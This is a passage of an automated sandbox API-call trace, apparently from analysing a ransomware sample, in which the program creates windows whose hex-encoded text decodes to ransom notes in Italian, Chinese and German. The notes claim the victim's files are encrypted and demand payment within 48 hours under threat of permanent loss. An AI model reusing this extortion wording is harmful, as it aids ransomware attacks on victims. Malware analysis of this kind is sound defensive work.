lpRect=0x19e040) returned 1 [0152.897] GetParent (hWnd=0x80016) returned 0x7004e [0152.898] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e040, cPoints=0x2 | out: lpPoints=0x19e040) returned -16187697 [0152.898] SendMessageW (hWnd=0x80016, Msg=0x2210, wParam=0x160001, lParam=0x80016) returned 0x0 [0152.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x2210, wParam=0x160001, lParam=0x80016) returned 0x0 [0152.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0152.898] GetParent (hWnd=0x80016) returned 0x7004e [0152.898] GetCurrentActCtx (in: lphActCtx=0x19e904 | out: lphActCtx=0x19e904*=0xef1264) returned 1 [0152.898] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.899] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.899] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="\x42\x75\x6f\x6e\x61\x20\x67\x69\x6f\x72\x6e\x61\x74\x61\x21\x0d\x0a\x0d\x0a\x54\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x73\x75\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x73\x6f\x6e\x6f\x20\x63\x72\x69\x74\x74\x6f\x67\x72\x61\x66\x61\x74\x69\x2e\x0d\x0a\x4c\x61\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x64\x65\x69\x20\x66\x69\x6c\x65\x20\xe8\x20\x70\x6f\x73\x73\x69\x62\x69\x6c\x65\x20\x73\x6f\x6c\x6f\x20\x63\x6f\x6e\x20\x69\x6c\x20\x6e\x6f\x73\x74\x72\x6f\x20\x61\x69\x75\x74\x6f\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x44\x65\x76\x69\x20\x70\x61\x67\x61\x72\x65\x20\x65\x6e\x74\x72\x6f\x20\x34\x38\x20\x6f\x72\x65\x20\x70\x65\x72\x20\x64\x65\x63\x69\x66\x72\x61\x72\x65\x20\x69\x6c\x20\x74\x75\x6f\x0d\x0a\x66\x69\x6c\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x61\x72\x69\x66\x66\x61\x20\x64\x65\x6c\x20\x74\x75\x6f\x20\x70\x61\x65\x73\x65\x2e\x0d\x0a\x4c\x65\x20\x74\x61\x72\x69\x66\x66\x65\x20\x73\x6f\x6e\x6f\x20\x69\x6e\x64\x69\x63\x61\x74\x65\x20\x6e\x65\x6c\x6c\x61\x20\x66\x69\x6e\x65\x73\x74\x72\x61\x20\x64\x61\x20\x73\x69\x6e\x69\x73\x74\x72\x61\x20\x21\x21\x21\x0d\x0a\x45\x20\x63\x6f\x6e\x74\x61\x74\x74\x61\x63\x69\x20\x64\x6f\x70\x6f\x20\x61\x76\x65\x72\x20\x70\x61\x67\x61\x74\x6f\x20\x6c\x61\x20\x74\x75\x61\x20\x63\x68\x69\x61\x76\x65\x20\x64\x69\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x61\x6c\x65\x20\x70\x65\x72\x20\x63\x6f\x6e\x74\x61\x74\x74\x6f\x20\x64\x69\x20\x73\x65\x67\x75\x69\x74\x6f\x3a\x0d\x0a\x0d\x0a\x53\x65\x20\x63\x69\xf2\x20\x6e\x6f\x6e\x20\x61\x63\x63\x61\x64\x65\x2c\x20\x64\x6f\x70\x6f\x20\x37\x32\x20\x6f\x72\x65\x20\x74\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x61\x6e\x64\x72\x61\x6e\x6e\x6f\x20\x70\x65\x72\x73\x69\x2e\x0d\x0a\x49\x6e\x6f\x6c\x74\x72\x65\x2c\x20\x75\x73\x69\x61\x6d\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x6e\x65\x6c\x6c\x65\x20\x6c\x6f\x72\x6f\x20\x61\x7a\x69\x6f\x6e\x69\x20\x69\x6c\x6c\x65\x67\x61\x6c\x69\x2e\x0d\x0a\x45\x20\x71\x75\x61\x6e\x74\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\xe8\x20\x73\x74\x61\x74\x6f\x20\x61\x63\x71\x75\x69\x73\x74\x61\x74\x6f\x20\x64\x61\x20\x74\x65\x20\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x75\x61\x20\x6c\x65\x67\x69\x73\x6c\x61\x7a\x69\x6f\x6e\x65\x0d\x0a\x69\x6c\x20\x70\x61\x65\x73\x65\x20\xe8\x20\x64\x69\x20\x74\x75\x61\x20\x70\x72\x6f\x70\x72\x69\x65\x74\xe0\x0d\x0a\x45\x20\x73\x61\x72\x61\x69\x20\x63\x72\x69\x6d\x69\x6e\x61\x6c\x6d\x65\x6e\x74\x65\x20\x72\x65\x73\x70\x6f\x6e\x73\x61\x62\x69\x6c\x65\x20\x64\x65\x6c\x6c\x65\x20\x6e\x6f\x73\x74\x72\x65\x20\x61\x7a\x69\x6f\x6e\x69\x29\x29\x29\x0d\x0a\x0d\x0a\x53\x62\x72\x69\x67\x61\x74\x69\x20\x61\x20\x70\x61\x67\x61\x72\x65", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2020e [0152.899] SetWindowLongW (hWnd=0x2020e, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0152.899] GetWindowLongW (hWnd=0x2020e, nIndex=-4) returned 1876218976 [0152.900] SetWindowLongW (hWnd=0x2020e, nIndex=-4, dwNewLong=88343734) returned 1876218976 [0152.900] GetWindowLongW (hWnd=0x2020e, nIndex=-4) returned 88343734 [0152.900] GetWindowLongW (hWnd=0x2020e, nIndex=-16) returned 1176567877 [0152.900] GetWindowLongW (hWnd=0x2020e, nIndex=-12) returned 0 [0152.900] SetWindowLongW (hWnd=0x2020e, nIndex=-12, dwNewLong=131598) returned 0 [0152.900] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x81, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.901] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x83, wParam=0x0, lParam=0x19e314) returned 0x0 [0152.902] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x1, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.903] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x7c, wParam=0xfffffff0, lParam=0x19dd14) returned 0x0 [0152.903] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x7d, wParam=0xfffffff0, lParam=0x19dd14) returned 0x1 [0152.916] GetWindow (hWnd=0x2020e, uCmd=0x3) returned 0x80016 [0152.916] GetClientRect (in: hWnd=0x2020e, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0152.916] GetWindowRect (in: hWnd=0x2020e, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0152.916] GetParent (hWnd=0x2020e) returned 0x7004e [0152.916] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dfe8, cPoints=0x2 | out: lpPoints=0x19dfe8) returned -16187697 [0152.917] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0152.917] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.917] GetSystemMetrics (nIndex=42) returned 0 [0152.917] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dea4, nMaxCount=1 | out: lpString="") returned 0 [0152.917] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dea4) returned 0x0 [0152.917] GetDC (hWnd=0x0) returned 0x1b010670 [0152.917] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19de84) returned 0x0 [0152.917] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0152.917] GdipGetLogFontW (font=0x6911848, graphics=0x6915b28, logfontW=0xeeb228) returned 0x0 [0152.917] CoTaskMemFree (pv=0xeeb228) [0152.917] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0152.918] CoTaskMemFree (pv=0xeead48) [0152.918] CoTaskMemAlloc (cb=0x5c) returned 0xeeb290 [0152.918] CoTaskMemFree (pv=0xeeb290) [0152.918] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0152.918] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.918] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0152.918] CreateFontIndirectW (lplf=0xeeafb8) returned 0x550a06e0 [0152.918] CoTaskMemFree (pv=0xeeafb8) [0152.918] SendMessageW (hWnd=0x2020e, Msg=0x30, wParam=0x550a06e0, lParam=0x0) returned 0x1 [0152.918] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x30, wParam=0x550a06e0, lParam=0x0) returned 0x1 [0152.967] SetWindowTextW (hWnd=0x2020e, lpString="\x42\x75\x6f\x6e\x61\x20\x67\x69\x6f\x72\x6e\x61\x74\x61\x21\x0d\x0a\x0d\x0a\x54\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x73\x75\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x73\x6f\x6e\x6f\x20\x63\x72\x69\x74\x74\x6f\x67\x72\x61\x66\x61\x74\x69\x2e\x0d\x0a\x4c\x61\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x64\x65\x69\x20\x66\x69\x6c\x65\x20\xe8\x20\x70\x6f\x73\x73\x69\x62\x69\x6c\x65\x20\x73\x6f\x6c\x6f\x20\x63\x6f\x6e\x20\x69\x6c\x20\x6e\x6f\x73\x74\x72\x6f\x20\x61\x69\x75\x74\x6f\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x44\x65\x76\x69\x20\x70\x61\x67\x61\x72\x65\x20\x65\x6e\x74\x72\x6f\x20\x34\x38\x20\x6f\x72\x65\x20\x70\x65\x72\x20\x64\x65\x63\x69\x66\x72\x61\x72\x65\x20\x69\x6c\x20\x74\x75\x6f\x0d\x0a\x66\x69\x6c\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x61\x72\x69\x66\x66\x61\x20\x64\x65\x6c\x20\x74\x75\x6f\x20\x70\x61\x65\x73\x65\x2e\x0d\x0a\x4c\x65\x20\x74\x61\x72\x69\x66\x66\x65\x20\x73\x6f\x6e\x6f\x20\x69\x6e\x64\x69\x63\x61\x74\x65\x20\x6e\x65\x6c\x6c\x61\x20\x66\x69\x6e\x65\x73\x74\x72\x61\x20\x64\x61\x20\x73\x69\x6e\x69\x73\x74\x72\x61\x20\x21\x21\x21\x0d\x0a\x45\x20\x63\x6f\x6e\x74\x61\x74\x74\x61\x63\x69\x20\x64\x6f\x70\x6f\x20\x61\x76\x65\x72\x20\x70\x61\x67\x61\x74\x6f\x20\x6c\x61\x20\x74\x75\x61\x20\x63\x68\x69\x61\x76\x65\x20\x64\x69\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x61\x6c\x65\x20\x70\x65\x72\x20\x63\x6f\x6e\x74\x61\x74\x74\x6f\x20\x64\x69\x20\x73\x65\x67\x75\x69\x74\x6f\x3a\x0d\x0a\x0d\x0a\x53\x65\x20\x63\x69\xf2\x20\x6e\x6f\x6e\x20\x61\x63\x63\x61\x64\x65\x2c\x20\x64\x6f\x70\x6f\x20\x37\x32\x20\x6f\x72\x65\x20\x74\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x61\x6e\x64\x72\x61\x6e\x6e\x6f\x20\x70\x65\x72\x73\x69\x2e\x0d\x0a\x49\x6e\x6f\x6c\x74\x72\x65\x2c\x20\x75\x73\x69\x61\x6d\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x6e\x65\x6c\x6c\x65\x20\x6c\x6f\x72\x6f\x20\x61\x7a\x69\x6f\x6e\x69\x20\x69\x6c\x6c\x65\x67\x61\x6c\x69\x2e\x0d\x0a\x45\x20\x71\x75\x61\x6e\x74\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\xe8\x20\x73\x74\x61\x74\x6f\x20\x61\x63\x71\x75\x69\x73\x74\x61\x74\x6f\x20\x64\x61\x20\x74\x65\x20\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x75\x61\x20\x6c\x65\x67\x69\x73\x6c\x61\x7a\x69\x6f\x6e\x65\x0d\x0a\x69\x6c\x20\x70\x61\x65\x73\x65\x20\xe8\x20\x64\x69\x20\x74\x75\x61\x20\x70\x72\x6f\x70\x72\x69\x65\x74\xe0\x0d\x0a\x45\x20\x73\x61\x72\x61\x69\x20\x63\x72\x69\x6d\x69\x6e\x61\x6c\x6d\x65\x6e\x74\x65\x20\x72\x65\x73\x70\x6f\x6e\x73\x61\x62\x69\x6c\x65\x20\x64\x65\x6c\x6c\x65\x20\x6e\x6f\x73\x74\x72\x65\x20\x61\x7a\x69\x6f\x6e\x69\x29\x29\x29\x0d\x0a\x0d\x0a\x53\x62\x72\x69\x67\x61\x74\x69\x20\x61\x20\x70\x61\x67\x61\x72\x65") returned 1 [0152.967] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0xc, wParam=0x0, lParam=0x2fafb8c) returned 0x1 [0152.968] GetSystemMetrics (nIndex=5) returned 1 [0152.968] GetSystemMetrics (nIndex=6) returned 1 [0152.968] SendMessageW (hWnd=0x2020e, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0152.968] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0152.968] SendMessageW (hWnd=0x2020e, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0152.968] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0152.968] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x5, wParam=0x0, lParam=0x13d0258) returned 0x1 [0152.970] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0152.970] GetClientRect (in: hWnd=0x2020e, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0152.970] GetWindowRect (in: hWnd=0x2020e, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0152.970] GetParent (hWnd=0x2020e) returned 0x7004e [0152.970] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e040, cPoints=0x2 | out: lpPoints=0x19e040) returned -16187697 [0152.970] SendMessageW (hWnd=0x2020e, Msg=0x2210, wParam=0x20e0001, lParam=0x2020e) returned 0x0 [0152.970] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x2210, wParam=0x20e0001, lParam=0x2020e) returned 0x0 [0152.970] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0152.970] GetParent (hWnd=0x2020e) returned 0x7004e [0152.970] GetCurrentActCtx (in: lphActCtx=0x19e904 | out: lphActCtx=0x19e904*=0xef1264) returned 1 [0152.971] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0152.971] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0152.971] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="\x7f8e\x597d\x7684\x4e00\x5929\xff01\x0d\x0a\x0d\x0a\x60a8\x8ba1\x7b97\x673a\x4e0a\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5df2\x52a0\x5bc6\x3002\x0d\x0a\x53ea\x6709\x5728\x6211\x4eec\x7684\x5e2e\x52a9\x4e0b\x624d\x80fd\x89e3\x7801\x6587\x4ef6\xff01\x0d\x0a\x0d\x0a\x60a8\x9700\x8981\x5728\x34\x38\x5c0f\x65f6\x5185\x4ed8\x6b3e\x624d\x80fd\x89e3\x5bc6\x0d\x0a\x6839\x636e\x60a8\x6240\x5728\x56fd\x5bb6\x2f\x5730\x533a\x7684\x5173\x7a0e\x6587\x4ef6\x3002\x0d\x0a\x4ece\x5de6\x8fb9\x7684\x7a97\x53e3\x663e\x793a\x5173\x7a0e\x21\x21\x21\x0d\x0a\x901a\x8fc7\x4ee5\x4e0b\x8054\x7cfb\x65b9\x5f0f\x652f\x4ed8\x60a8\x7684\x4e2a\x4eba\x89e3\x5bc6\x5bc6\x94a5\x540e\xff0c\x8bf7\x4e0e\x6211\x4eec\x8054\x7cfb\xff1a\x0d\x0a\x0d\x0a\x5982\x679c\x6ca1\x6709\x53d1\x751f\x8fd9\x79cd\x60c5\x51b5\xff0c\x90a3\x4e48\x37\x32\x5c0f\x65f6\x540e\x60a8\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5c06\x4e22\x5931\x3002\x0d\x0a\x6b64\x5916\xff0c\x6211\x4eec\x4f7f\x7528\x60a8\x7684\x8ba1\x7b97\x673a\x8fdb\x884c\x975e\x6cd5\x64cd\x4f5c\x3002\x0d\x0a\x60a8\x7684\x7535\x8111\x662f\x6839\x636e\x60a8\x7684\x6cd5\x5f8b\x8d2d\x4e70\x4e86\x591a\x5c11\x0d\x0a\x56fd\x5bb6\x662f\x4f60\x7684\x8d22\x4ea7\x3002\x0d\x0a\x4f60\x5c06\x5bf9\x6211\x4eec\x7684\x884c\x4e3a\x627f\x62c5\x5211\x4e8b\x8d23\x4efb\xff09\xff09\xff09\x0d\x0a\x0d\x0a\x5feb\x70b9\x4ed8\x94b1", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x401dc [0152.971] SetWindowLongW (hWnd=0x401dc, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0152.971] GetWindowLongW (hWnd=0x401dc, nIndex=-4) returned 1876218976 [0152.972] SetWindowLongW (hWnd=0x401dc, nIndex=-4, dwNewLong=88375774) returned 1876218976 [0152.974] GetWindowLongW (hWnd=0x401dc, nIndex=-4) returned 88375774 [0152.975] GetWindowLongW (hWnd=0x401dc, nIndex=-16) returned 1176567877 [0152.975] GetWindowLongW (hWnd=0x401dc, nIndex=-12) returned 0 [0152.975] SetWindowLongW (hWnd=0x401dc, nIndex=-12, dwNewLong=262620) returned 0 [0152.975] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x81, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.976] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x83, wParam=0x0, lParam=0x19e314) returned 0x0 [0152.976] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x1, wParam=0x0, lParam=0x19e328) returned 0x1 [0152.977] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x7c, wParam=0xfffffff0, lParam=0x19dd14) returned 0x0 [0152.977] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x7d, wParam=0xfffffff0, lParam=0x19dd14) returned 0x1 [0153.450] GetWindow (hWnd=0x401dc, uCmd=0x3) returned 0x2020e [0153.450] GetClientRect (in: hWnd=0x401dc, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0153.450] GetWindowRect (in: hWnd=0x401dc, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0153.450] GetParent (hWnd=0x401dc) returned 0x7004e [0153.450] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dfe8, cPoints=0x2 | out: lpPoints=0x19dfe8) returned -16187697 [0153.450] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0153.450] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.450] GetSystemMetrics (nIndex=42) returned 0 [0153.450] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dea4, nMaxCount=1 | out: lpString="") returned 0 [0153.450] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dea4) returned 0x0 [0153.450] GetDC (hWnd=0x0) returned 0x1b010670 [0153.450] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19de84) returned 0x0 [0153.451] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0153.451] GdipGetLogFontW (font=0x6911870, graphics=0x6915b28, logfontW=0xeeb1c0) returned 0x0 [0153.451] CoTaskMemFree (pv=0xeeb1c0) [0153.451] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0153.451] CoTaskMemFree (pv=0xeeafb8) [0153.451] CoTaskMemAlloc (cb=0x5c) returned 0xeeb2f8 [0153.451] CoTaskMemFree (pv=0xeeb2f8) [0153.451] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0153.451] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0153.451] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0153.451] CreateFontIndirectW (lplf=0xeeafb8) returned 0x370a0705 [0153.451] CoTaskMemFree (pv=0xeeafb8) [0153.451] SendMessageW (hWnd=0x401dc, Msg=0x30, wParam=0x370a0705, lParam=0x0) returned 0x1 [0153.451] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x30, wParam=0x370a0705, lParam=0x0) returned 0x1 [0153.628] SetWindowTextW (hWnd=0x401dc, lpString="\x7f8e\x597d\x7684\x4e00\x5929\xff01\x0d\x0a\x0d\x0a\x60a8\x8ba1\x7b97\x673a\x4e0a\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5df2\x52a0\x5bc6\x3002\x0d\x0a\x53ea\x6709\x5728\x6211\x4eec\x7684\x5e2e\x52a9\x4e0b\x624d\x80fd\x89e3\x7801\x6587\x4ef6\xff01\x0d\x0a\x0d\x0a\x60a8\x9700\x8981\x5728\x34\x38\x5c0f\x65f6\x5185\x4ed8\x6b3e\x624d\x80fd\x89e3\x5bc6\x0d\x0a\x6839\x636e\x60a8\x6240\x5728\x56fd\x5bb6\x2f\x5730\x533a\x7684\x5173\x7a0e\x6587\x4ef6\x3002\x0d\x0a\x4ece\x5de6\x8fb9\x7684\x7a97\x53e3\x663e\x793a\x5173\x7a0e\x21\x21\x21\x0d\x0a\x901a\x8fc7\x4ee5\x4e0b\x8054\x7cfb\x65b9\x5f0f\x652f\x4ed8\x60a8\x7684\x4e2a\x4eba\x89e3\x5bc6\x5bc6\x94a5\x540e\xff0c\x8bf7\x4e0e\x6211\x4eec\x8054\x7cfb\xff1a\x0d\x0a\x0d\x0a\x5982\x679c\x6ca1\x6709\x53d1\x751f\x8fd9\x79cd\x60c5\x51b5\xff0c\x90a3\x4e48\x37\x32\x5c0f\x65f6\x540e\x60a8\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5c06\x4e22\x5931\x3002\x0d\x0a\x6b64\x5916\xff0c\x6211\x4eec\x4f7f\x7528\x60a8\x7684\x8ba1\x7b97\x673a\x8fdb\x884c\x975e\x6cd5\x64cd\x4f5c\x3002\x0d\x0a\x60a8\x7684\x7535\x8111\x662f\x6839\x636e\x60a8\x7684\x6cd5\x5f8b\x8d2d\x4e70\x4e86\x591a\x5c11\x0d\x0a\x56fd\x5bb6\x662f\x4f60\x7684\x8d22\x4ea7\x3002\x0d\x0a\x4f60\x5c06\x5bf9\x6211\x4eec\x7684\x884c\x4e3a\x627f\x62c5\x5211\x4e8b\x8d23\x4efb\xff09\xff09\xff09\x0d\x0a\x0d\x0a\x5feb\x70b9\x4ed8\x94b1") returned 1 [0153.628] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0xc, wParam=0x0, lParam=0x2fb09b8) returned 0x1 [0153.637] GetSystemMetrics (nIndex=5) returned 1 [0153.638] GetSystemMetrics (nIndex=6) returned 1 [0153.638] SendMessageW (hWnd=0x401dc, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0153.638] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0153.638] SendMessageW (hWnd=0x401dc, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0153.638] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0153.638] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x5, wParam=0x0, lParam=0x13d0258) returned 0x1 [0153.657] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0153.657] GetClientRect (in: hWnd=0x401dc, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0153.657] GetWindowRect (in: hWnd=0x401dc, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0153.657] GetParent (hWnd=0x401dc) returned 0x7004e [0153.657] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e040, cPoints=0x2 | out: lpPoints=0x19e040) returned -16187697 [0153.743] SendMessageW (hWnd=0x401dc, Msg=0x2210, wParam=0x1dc0001, lParam=0x401dc) returned 0x0 [0153.743] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x2210, wParam=0x1dc0001, lParam=0x401dc) returned 0x0 [0153.743] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.744] GetParent (hWnd=0x401dc) returned 0x7004e [0153.744] GetCurrentActCtx (in: lphActCtx=0x19e904 | out: lphActCtx=0x19e904*=0xef1264) returned 1 [0153.744] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.745] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.745] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="\x47\x75\x74\x65\x6e\x20\x74\x61\x67\x0d\x0a\x0d\x0a\x41\x6c\x6c\x65\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x61\x75\x66\x20\x49\x68\x72\x65\x6d\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x77\x65\x72\x64\x65\x6e\x20\x76\x65\x72\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x74\x2e\x0d\x0a\x44\x61\x73\x20\x45\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x6e\x20\x76\x6f\x6e\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x69\x73\x74\x20\x6e\x75\x72\x20\x6d\x69\x74\x20\x75\x6e\x73\x65\x72\x65\x72\x20\x48\x69\x6c\x66\x65\x20\x6d\xf6\x67\x6c\x69\x63\x68\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x53\x69\x65\x20\x6d\xfc\x73\x73\x65\x6e\x20\x69\x6e\x6e\x65\x72\x68\x61\x6c\x62\x20\x76\x6f\x6e\x20\x34\x38\x20\x53\x74\x75\x6e\x64\x65\x6e\x20\x62\x65\x7a\x61\x68\x6c\x65\x6e\x2c\x20\x75\x6d\x20\x49\x68\x72\x65\x20\x44\x61\x74\x65\x6e\x20\x7a\x75\x20\x65\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x6e\x0d\x0a\x44\x61\x74\x65\x69\x65\x6e\x20\x69\x6e\x20\xdc\x62\x65\x72\x65\x69\x6e\x73\x74\x69\x6d\x6d\x75\x6e\x67\x20\x6d\x69\x74\x20\x64\x65\x6d\x20\x54\x61\x72\x69\x66\x20\x49\x68\x72\x65\x73\x20\x4c\x61\x6e\x64\x65\x73\x2e\x0d\x0a\x54\x61\x72\x69\x66\x65\x20\x77\x65\x72\x64\x65\x6e\x20\x69\x6d\x20\x46\x65\x6e\x73\x74\x65\x72\x20\x76\x6f\x6e\x20\x6c\x69\x6e\x6b\x73\x20\x61\x6e\x67\x65\x7a\x65\x69\x67\x74\x20\x21\x21\x21\x0d\x0a\x